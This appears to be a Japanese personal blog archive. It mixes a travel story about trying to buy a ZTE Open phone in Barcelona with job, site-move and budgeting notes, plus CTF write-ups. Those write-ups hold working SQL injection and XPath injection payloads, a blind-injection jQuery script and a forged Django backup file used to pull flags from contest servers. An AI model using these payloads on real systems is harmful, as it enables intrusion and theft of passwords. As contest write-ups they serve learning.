スペインでFirefox OS端末は買えるのか?

この記事はKMCアドベントカレンダーの4日目の記事です。

1〜3日目の人達は技術系の記事を書いているため、僕は少し緩めの話をしようと思います。

僕は10月末〜11月初めまで、Facebook CTF決勝のためにチームEpsilonDeltaの4人でスペインにいました。
その時に、スペインで販売されているFirefox OS搭載の端末「ZTE Open」を購入しようとしたという話です。

もし今後スペインに行くことがあり、携帯端末を購入するという方の参考になればと思います。

※Facebook CTFに関する詳しい内容はC85で頒布する部誌に記事を載せているのでそちらをよろしくお願いします。
3日目 西地区 ”し” ブロック 42bです。
よろしくお願いします。
3日目 西地区 ”し” ブロック 42bです。

事の始まり

Firefox OS搭載の端末は、先ほど出てきたZTE Openの他にもPeak・Peak+・Keonなどありますが、これらは既に品切れ状態が続いており(Peakは再生産するらしい?)ほとんど手に入らないようです。

ZTE Openが初めて販売されたのはスペインからということで少し話題になりました。(http://gigazine.net/news/20130710-firefox-os-smartphone-zte-open/)
ZTE Openはebayで輸入することができるため日本にいても手に入るのですが、輸入にかかる費用を含めて1万円弱($94.99 USD)かかります。
一方、スペインで買うと7000円弱(49 EUR)で手に入るとわかりました(運が良ければ中古で安く手に入らないかとも期待していた)。

せっかくスペインに行くのだしこれを自分へのおみやげにしようと決めて出発したのでした。

11/3 朝

スペイン・バルセロナ自体には10/30昼〜11/4昼までいたのですが、CTFがあったりその他に行く場所があったりして、ZTE Openを探す時間ができたのは11/3と11/4になってしまいました。

11/3も観光地に寄る予定を組んでいたために、朝に1時間ほどしか動けませんでした。

しかもこの日は日曜日。
スペインでは日曜日になるとほぼ全ての店が閉まってしまいます。(日本だと異常事態ですね。)

ということでこの日はどこに行っても閉店・・・(流石に一部のコンビニや観光地のショップは開いていましたが)
ホテル付近の店は全滅という状態で諦めざるを得ませんでした。

スペインに行く際は日曜日(domingo)に気をつけて下さい。

11/4 9:30

この日は最終日なので9:30-12:00までの間に急いで探さないと行けませんでした。

前日に調べた結果、とりあえずホテルのすぐ近くにあるmovistar直営店に寄ることにしました。

movistarというのはスペイン語圏の国々で主に活動している会社で、スペインで最大の携帯事業会社となっています。
世界第5位の通信事業会社Telefónicaの子会社でもあります。

スペイン最大ということもあって、バルセロナの町の至る所にmovistarの直営店がありました。
(その他にはvodafoneやorangeやyoigoといった会社が多く見られました。)

どこにmovistarがあるのかはこのページで確認することができるのですが、本当にバルセロナを埋め尽くしているという感じです。

スペインではこのmovistarがZTE Openを取り扱っているらしく、実際に店頭に並べられていたり広告が貼られているのは事前に確認済みです。
このような特設ページも作られています。
http://www.movistar.es/firefoxos

スペイン語がわからない人間のために英語で書かれたZTE Open購入マニュアルも見つけました。
How to Buy ZTE Open – Step by Step Guide

これで準備も万全だ!と満を持してmovistarに入ると、スペイン人のお姉ちゃんが1人で店番をしているだけでした。

僕「Hola!」
店員「Hola!」
僕「Is there ZTE Open in this shop?」
店「Ah… what?」
僕「uhm… Do you have any Z T E O p e n?」(手にZTE Openの文字を書きながら)
店「&#'(“#$%&'(`*@{}*」(スペイン語)
僕「P…Perdon?」
店「There is ZTE Open but It is locked so…」
僕「???」

みたいなやりとりを数分繰り返していたのですが、店員の話によると「movistarで販売されいてるZTE Openはsim lock freeではない」「MEDIAMARKTか近くのデパートの電気屋に行けば買えるかもしれない」ということでした。

MEDIAMARKTはドイツに本社があるヨーロッパ最大のマーケットのことで、バルセロナ市内にもあったのですが、1時間ほどかかる場所にあったため時間的に行けそうにありませんでした。

そこで先ほど店員に教えてもらった近くのデパートに向かうことにしました。

11/4 10:30

デパートの6階にmovistarやその他の携帯事業者の出す携帯端末の販売店がありました。

Samsung GalaxyやNexusやHTCといった日本でもよく見る端末の他に、名前を聞いたことがない端末がいくつか並んでいました。
知らない端末に購買欲を駆られましたが、今狙っている端末はただ1つZTE Openだけだと我慢することに。

とりあえず店員に英語で大丈夫かと話しかけたところ英語が話せない人だったため、英語のわかる店員を呼んでもらいました。
ZTE Openがあるかどうか、先ほどと同じ手段で聞いてみたのですが「そんなものは聞いたことがない、うちには置いてない」と言われ、諦めることにしました。

後々考えるとうまく伝わってない可能性があったので、ZTE Openのビラでも見せていれば実はここで買えていたかもしれません。

11/4 11:00

こうなってしまうとどこにも行くあてがないので、ぶらぶらと放浪しながらmovistarの別の店に寄ったりしていたのですが、たまたま行き着いた場所で「Phone House」という店を発見。
google mapsで検索をかけると他にも10分圏内の位置に何件かあることがわかったため、3件ほど訪れてみました。

中には端末がいくつか用意されており、どうやらSIMカードも買えるみたいでした。

しかし使える携帯事業者にvodafone・orange・yoigoはあるのですがmovistarがない。。。

恐る恐るZTE Openがあるかどうか聞いてみたのですが、「そんな端末聞いたことがないよ」と言われてしまいました。
今回はZTE Openと書いた紙を持っていったので、僕の発音がめちゃくちゃで聞き取れないというわけでもなさそうです。(以外と知名度が低い???)

後から調べたところPhone HouseではZTE Openは扱っていないようでした。
http://www.phonehouse.es/moviles?movil-marca=ZTE&movil-sistema=Android&movil-precio=#movil

とはいえPhone House、スペインでモバイル通信するにはとても便利そうです。

結局

今回の旅ではZTE Openを購入することはできませんでした。

で、どうしたかというとやっぱり諦めきれないため、知り合いとebayで共同購入することになりました。
共同購入すると少し安くなるらしい。

反省点としては事前調査と当日の活動時間が足りなかったかなあと思います。

ただスペインに行く前は「スペイン人は英語しゃべれないから気をつけたほうがいい」と聞かされており、確かにデパートの店員なんかは英語でコミュニケーションが取れなかったのですが、movistarやPhone Shopの店員は英語を聞き取れる方が多いので案外なんとかなるかと思います。
初めに英語で大丈夫か聞くと、恥ずかしそうに「A little.」とか言ってくれます。(かわいい)

明日はtsutchoさんによる「CUDAのメモリの種類が多くて面倒だという話」です。
お楽しみに。

最後に、movistarで見つけたFirefox OSのカタログや広告の画像を貼っておきます。

Untitled

Untitled

Untitled

Untitled

ところでこれ、Firefox OS Advent Calenderに載せたほうがよかったのでは・・・

DEF CON CTF Qualifier 2013

問題解いてた時のログが残ってないし、探せば他が出てくると思うのでwriteupは書きません。
一応、webを何問かとprogramming2問ほどを解きました。

うちを含め多くのチームがweb問題を全完しており、今回のweb問題は易しかったように感じます。

開始直後は、8-puzzleのprogrammingを解いて7位くらいだったけど、最終的には79位となった。

2日目・3日目は学校をサボって灘高にいて、チームで問題を解いてたらだんだん正気が保てなくなってきた。

DEFCONが僕達に残したもの
DSC_0131

UFO CTF 2013 writeup – Web200

Those aliens consider themselves as the most smart creatures in
the world. Pff. They shouldn't even have tried to defeat mankind
having such stupid stuff in their heads! As for you, why wouldn't
you hack them? They'll most likely surrender then. By the way, it
is known that they update some data every 10-20 seconds, but
unfortunately our equipment can't intercept the data itself.
 
http://superhosting.tasks.ufoctf.ru:8000/

自分のウェブページが作れ、バックアップと復元ができるシステムになっている。

バックアップしてみると、[username]_[md5(username)][md5(zipfile)].zipという名前でzipファイルがダウンロードでき、それをアップロードすることで復元ができるようになっている。
zipファイルの中身を解凍すると、.backupという名前で以下のようなファイルが入っている。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="12349813568" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
		<field type="CharField" name="owner_email">test@localhost</field>
		<field type="CharField" name="page_title">My homepage</field>
		<field type="TextField" name="page_content">Hello everyone! This is my new homepage.</field>
		<field type="CharField" name="page_footer">Made with love and care</field>
		<field type="BooleanField" name="page_is_public">False</field>
		<field type="CharField" name="page_public_id"></field>
	</object>
</django-objects>

いろいろと試した結果、復元時にpk(primary key)を変えた場合にそのpkを持つフィールドのデータを上書きすることができるとわかった。

以下のようなxmlファイルを含めて復元し、再びバックアップをダウンロードすると、pk=1のデータの入ったバックアップファイルが手に入り、pk=1のデータにflagが書かれていた。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="1" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
	</object>
</django-objects>

DIMVA CTF 2013 writeup

DIMVA CTFに参加していた。

私のチーム(Epsilon Delta)は850ポイントで17位だった。

Web 100

画像アップローダーが用意されており、どうにかこうにかする問題。

はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。

各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。

しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。

画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。

' union all select password from pictures--

その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。

c0ffee29e34ad42d38cbe236913c911a

パスワード付きの画像はこんな感じだった。

SONY DSC

素直でわかりやすい問題だったように思う。

Web 200

普通にアクセスすると

10
'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login>

ってのが返って来る。

一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。

コンテスト終了直前になって、/?xml=…とすればログインできることに気づく。

xml parameterってのが素直にxmlって名前のリクエストパラメータだったのに、そこに気づくまでに一日かかって英語の壁を感じる。

これがわかればあとは解くだけ。

とりあえず色々試していると、以下のレスポンスが返って来たため、XPathへのインジェクションだとわかった。

 Error during login: Query: //User[UserName/text()='' and Password/text()='' '... ........................................................^^^ Invalid query somewhere around here (I think)

「’ or ‘1’=’1」とかしてログインに成功すると、htmlのコメントで「users.xml~が残ってるからあとで消すように」と書かれているのでアクセスしてみる。

xml形式のユーザーデータがあり、「c0ffeefa7745f449c26000a2612affec」というデータがあったので、それをFlagとして送信したが失敗。

どうやらuser.xml~は古いデータらしく、現在は別のものに置き換わっている模様。

なのでblind injectionを利用して現在のデータからFlagを取得する。

var search = "c0ffee";
 
var test = function(next) {
	$.ajax({
		url: "/",
		data: {
			user: "",
			password: Base64.encode("' | //User[contains(.,'" + search + next)
		}
	}).done(function(data) {
		search += next
		nextTest();
	});
};
 
var nextTest = function() {
	for (var i="a".charCodeAt(0);i<="z".charCodeAt(0);++i) {
		test(String.fromCharCode(i));
	}
	for (var i=0;i<=9;++i) {
		test(i);
	}
};

以下のFlagが得られる。

c0ffee153dbc077ea80f4e697a63ec1e

Accepted!!!

SIGINT CTF 2013 writeup – bloat (cloud 200)

CTF

えと、ブログを更新停止している間に、Epsilon DeltaとしていくつかCTFに参加していました。

  • Codegate YUT Preliminary 2013
  • Nuit du Hack CTF Quals 2013
  • BaltCTF Quals 2013
  • SECUINSIDE CTF Quals 2013
  • Boston Key Party CTF 2013
  • DEF CON CTF Qualifier 2013
  • SIGINT CTF 2013

はじめは海外のCTFの感覚がつかめず、ちゃんと解いたような記憶もなかったのですが、BKPあたりからは少し慣れてきたような気がします。

今まで解いてた問題のwrite upを書こうとも思ったのですが、すっかり忘れてしまっているため、一番最近やったSIGINT CTFのwrite upを書くことにします。

“SIGINT CTF 2013 writeup – bloat (cloud 200)”の続きを読む

サイト移転中です

なかなか時間が取れず、サイトの移転を先延ばしにしていたのですが、移転することになりました。

移転元: http://tyage.sakura.ne.jp/
移転先: http://tyage.net/

さくらのクラウド二万円クーポンを頂いたため、サーバはそこにおいてあります。

さくらのVPSもさくらのレンタルサーバも契約してあるんですが、せっかくなのでクラウドに統一して、他はいらないかなと思っています。

あんまり深く考えず、OSはDebian 7.1(wheezy)で、このブログとかはnginx使って動かしています。

とりあえずブログから移転することにしました。

移転前のサイトのコンテンツは、残すか消すか迷っています。

いくつかのサービスやゲームはさくらのクラウド上で動かすつもりです。

移転元のサイトは今年分の料金を払ったので、あと1年だけ残すことになります。

ここのところ、ブログも書けていないのでちゃんと書いていきますね。

移転に際して、以下のページを参考にさせていただきました。
nginxベースの高速なWordPress環境をお名前.comのVPSで構築
Debian Squeeze に nginx + php-fpm な Web サーバーを構築する

また働き始めたこと

ネットではあんまり公にはしてなかったのだけど、10月ごろからまたReventive, Incにて働き始めました。

「また」ってのは、2011年の初頭にも働いていたことがあって、そのころはTitanium Mobileでチャットアプリを作っていました。

Titanium Mobileに毎日いらついていた覚えがあります。

Titanium Mobileの存在自体がトラウマ化した・・・。


んで、受験シーズンに突入したってことで一旦は抜けたんだけどまた戻って来ました。

今はCloseというSNSのAndroid版を作っています。
(一時期話題になってたので聞いたことがある方もいるかもしれません。)

JavaでのAndroidアプリの開発はほぼ未経験で、Javaも普段は触ってないのですが、一日くらいコードを眺め続けてなんとか書けるようになりました。

当然、一日で書けたのはほんの少しでしたが、二ヶ月経った今は、ある程度書けるようになったとおもいます。

それと、他人とプロジェクトを共有したり、gitを本格的に使ったりってのも今まであまりやってこなかったので勉強になりました。


iOSアプリ開発・Androidアプリの開発の両方をしているとやっぱり、Android側はIDEがあまりよくないし、端末間での誤差を調整するのがとてもつらいかなあと思います。

当然ですがOSのバージョンが違えば挙動も違うし、使える機能・使えない機能があるし、端末によって不思議なことが頻繁に起こり、苦労します。

それにリストビューとか、iOSと比べてあんまり機能が充実していないのではないかなあと感じることもしばしば。

なんにせよ辛いことが多いですが、Objective-Cを書くよりかはJava書いてるほうが気が楽ではあります。


現在気になっているのはテストの方法。。。

今まで他人のやりかたを見てなかったので、コードを書いたらそれを端末上で実行し、手動デバッグを繰り返していたのですが明らかに効率が悪い。

D○Aさんでも最終的には手動テストだと小耳に挟んだ気がするのだけど、流石にテストの効率化ぐらいはしてるだろうなあ。

Androidテスト部の方からご教授願いたいでし。


Androidアプリの開発をしていて色々と知見を得たことが多かったでし、仕事先の人は面白い人が多いです。

ただ、Close for AndroidはこのようにAndroidアプリ開発初心者も開発に携わっているため、何かと問題を抱えていることもあります。

そのため、あまり期待せずこれからの成長を暖かく見守っていただきながら、インストールしてもらえると嬉しく感じます(ステマじゃないよ宣伝だよ!)

Close for Android
Close for iOS

セキュリティ系イベント参加ログ

新年明けましておめでとうございます。

少し時間ができたので適当にブログを書いていくことにしました。

今回は、二ヶ月の間に参加していたセキュリティ系イベントをまとめて書いていこうとおもいますです。

  • ウェブセキュリティ勉強会/OWASP Japan (大阪サテライト)
  • 情報セキュリティ・ワークショップ in 越後湯沢
  • 第3回SECCON 奈良大会
  • ゲヒルンウェブセキュリティ勉強会 第2回 in京都

“セキュリティ系イベント参加ログ”の続きを読む

12/16(日)

CoD BO2を友達としたあと、5時に解散して少し寝る。

ほとんど寝ずに、起きてニチアサを聞きながら、朝食のパンケーキを作る。

卵と砂糖と小麦粉のシンプルなパンケーキを作ったのだけど、ほんとうに卵と砂糖と小麦粉だけでできたので、一食30円くらいで済んでしまう。

前日に作ってあったスープを飲みながら一息。

続けてアニメ見たりしてだらだらしてたらお昼になったのでとりあえずお買い物に。

  • れんこん一本:308円
  • もやし:29円
  • 豚肉(100g 78円):306円
  • 食パン6枚:88円
  • 牛乳1L:118円
  • 納豆3パック:65円
  • ごぼうたくさん:98円
  • ねぎ三本:98円
  • たまねぎ3個:80円
  • ピーマン3個:78円
  • かいわれ:35円

合計:1403円の買い物となりました。

ところで、私の財布の残金は1041円・・・

どうしてこんなことになったのか。責任はどこにあるのか。
(主にredbullや学食・外食が影響していると思われる)

ともかく、クリスマス等々を残り1000円でくらさないといけなくなった私ですが、食事に関してはなんとかなりそうです。

お米もまだあるし、麺類も以前に業務スーパーで買ったものがあるし・・・

ただ、外食(牛丼280円)とredbullが食べられなくなるのはとても残念でしかたないです。

悔しいのでエネルギー節約のために寝ます・・・

錬金術でも考えとかないとなあ